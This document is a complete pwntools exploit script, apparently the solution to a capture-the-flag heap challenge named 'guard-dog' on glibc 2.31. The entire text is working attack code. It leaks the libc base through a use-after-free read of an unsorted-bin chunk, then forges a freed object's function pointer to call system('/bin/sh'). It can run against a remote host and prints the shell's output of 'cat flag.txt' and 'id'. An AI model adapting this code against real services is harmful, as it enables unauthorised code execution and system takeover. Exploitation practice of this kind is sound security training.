#!/usr/bin/env python3 # Diamond Dogs / guard-dog -- glibc 2.31 # UAF type-confusion: reclaim a freed dog with a same-size note, forge the # dog's fn pointer at +0x18, then "command dog" calls it with the chunk as arg. from pwn import * exe = './guard-dog' context.binary = e = ELF(exe, checksec=False) libc = ELF('./libc-2.31.so', checksec=False) context.log_level = 'info' UNSORTED_OFF = 0x1ecbe0 # main_arena+0x60 in this libc io = remote(args.HOST, int(args.PORT)) if args.REMOTE else process(exe) def menu(c): io.recvuntil(b'> '); io.sendline(str(c).encode()) def adopt(k, name): menu(1); io.recvuntil(b'): '); io.sendline(str(k).encode()) io.recvuntil(b'name: '); io.send(name.ljust(0x18, b'\x00')) def command(k): menu(2); io.recvuntil(b'kennel: '); io.sendline(str(k).encode()) def release(k): menu(3); io.recvuntil(b'kennel: '); io.sendline(str(k).encode()) def note(s, size, data): menu(4); io.recvuntil(b'): '); io.sendline(str(s).encode()) io.recvuntil(b'size: '); io.sendline(str(size).encode()) io.recvuntil(b'contents: '); io.send(data.ljust(size, b'\x00')) def read_note(s, size): menu(5); io.recvuntil(b'note slot: '); io.sendline(str(s).encode()) io.recvuntil(b'contents: '); return io.recv(size) def shred(s): menu(6); io.recvuntil(b'note slot: '); io.sendline(str(s).encode()) # 1) libc leak -- 0x510 chunk is too big for tcache, lands in the unsorted bin note(0, 0x500, b'A') # victim note(1, 0x80, b'B') # guard against top consolidation shred(0) # pointer not nulled -> UAF read libc.address = u64(read_note(0, 8)) - UNSORTED_OFF log.success(f'libc base : {libc.address:#x}') log.success(f'system : {libc.sym.system:#x}') # 2) type confusion: dog chunk (malloc 0x20) reclaimed as a note of the same size adopt(0, b'rex') # dogs[0] = chunk, +0x18 = woof release(0) # freed -> tcache[0x30], dogs[0] still set note(2, 0x20, b'/bin/sh\x00'.ljust(0x18, b'\x00') + p64(libc.sym.system)) # 3) command dog 0 -> (*(chunk+0x18))(chunk) -> system("/bin/sh") command(0) io.recvrepeat(0.3) io.sendline(b'cat flag.txt; echo ---; id') log.success('shell: ' + io.recvrepeat(1).decode(errors='replace').strip()) io.interactive() if args.I else io.close()